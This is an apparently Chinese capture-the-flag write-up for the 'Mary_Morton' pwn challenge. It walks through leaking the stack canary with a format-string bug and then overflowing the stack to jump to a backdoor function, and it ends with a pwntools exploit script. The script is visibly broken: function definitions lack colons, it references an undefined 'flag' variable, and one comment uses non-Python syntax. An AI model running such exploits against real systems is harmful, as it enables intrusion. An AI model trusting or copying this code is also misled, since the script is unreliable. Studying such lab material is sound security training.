1. 程式人生 > 實用技巧 >『攻防世界』:進階區 | Mary_Morton

『攻防世界』:進階區 | Mary_Morton

這道題讓我重新學了一遍格式化字串漏洞,自學真的太頂了。

checksec:開啟了canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
checksec

IDA檢視程式邏輯:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int
v4; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); sub_4009FF(); puts("Welcome to the battle ! "); puts("[Great Fairy] level pwned "); v3 = "Select your weapon "; puts("Select your weapon "); while ( 1 ) { while ( 1 ) { sub_4009DA(v3); v3
= "%d"; __isoc99_scanf("%d", &v4); if ( v4 != 2 ) break; sub_4008EB(); } if ( v4 == 3 ) { puts("Bye "); exit(0); } if ( v4 == 1 ) { sub_400960(); } else { v3 = "Wrong!"; puts("Wrong!"); } } }
main

主程式提供兩種攻擊方法——棧溢位和格式化字串漏洞。這裡提到一個關於canary的概念,canary是系統產生的一個隨機數,在程式開始和結束進行檢查,如果棧溢位導致canary變動則程式崩潰。

sub_4008EB():方法1是利用sub_4008EB函式洩露出canary,得到canary後在payload中將原先canary的位置值保持不變即可成功控制程式執行。

unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}

檢視buf到canary,v2的距離:0x90 - 0x08 = 0x88

-0000000000000090 buf             db ?
-000000000000008F                 db ? ; undefined
-000000000000008E                 db ? ; undefined
  ············                       ··········
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008 var_8           dq ?

接下來除錯程式得到offset為0x07 - 0x01:

Welcome to the battle ! 
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
>2
>aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaaaaaaaaaa.ffffd060.0000007f.f7b156d0.f7dd38c0.00000000.61616161.61616161.30252e78

接下來構造payload:

payload = '%' + str(0x88 / 0x08 + (0x07 - 0x01)) + '$p' //偏移的單位是地址的長度,64位環境下需要0x88/0x08,而後面的0x06就是offset了

後門函式地址:0x4008DA,溢位時候使用即可。

方法1:exp>

from pwn import *

io = process('./Mary_Morton')

def fun1(input)
    io.recvuntil("3. Exit the battle")
    io.sendline(str(1))
    io.sendline(input)

def fun2(input)
    io.recvuntil("3. Exit the battle")
    io.sendline(str(2))
    io.sendline(input)

flag_addr = 0x4008DA
fun2("4%23$p")
io.recvline()
io.recv(1)
canary = io.recv(18)[2:18]
canary_int = int(canary,16)
fun1("A"*0x88 + p64(canary_int) + p64(0) + p64(flag))
io.interactive()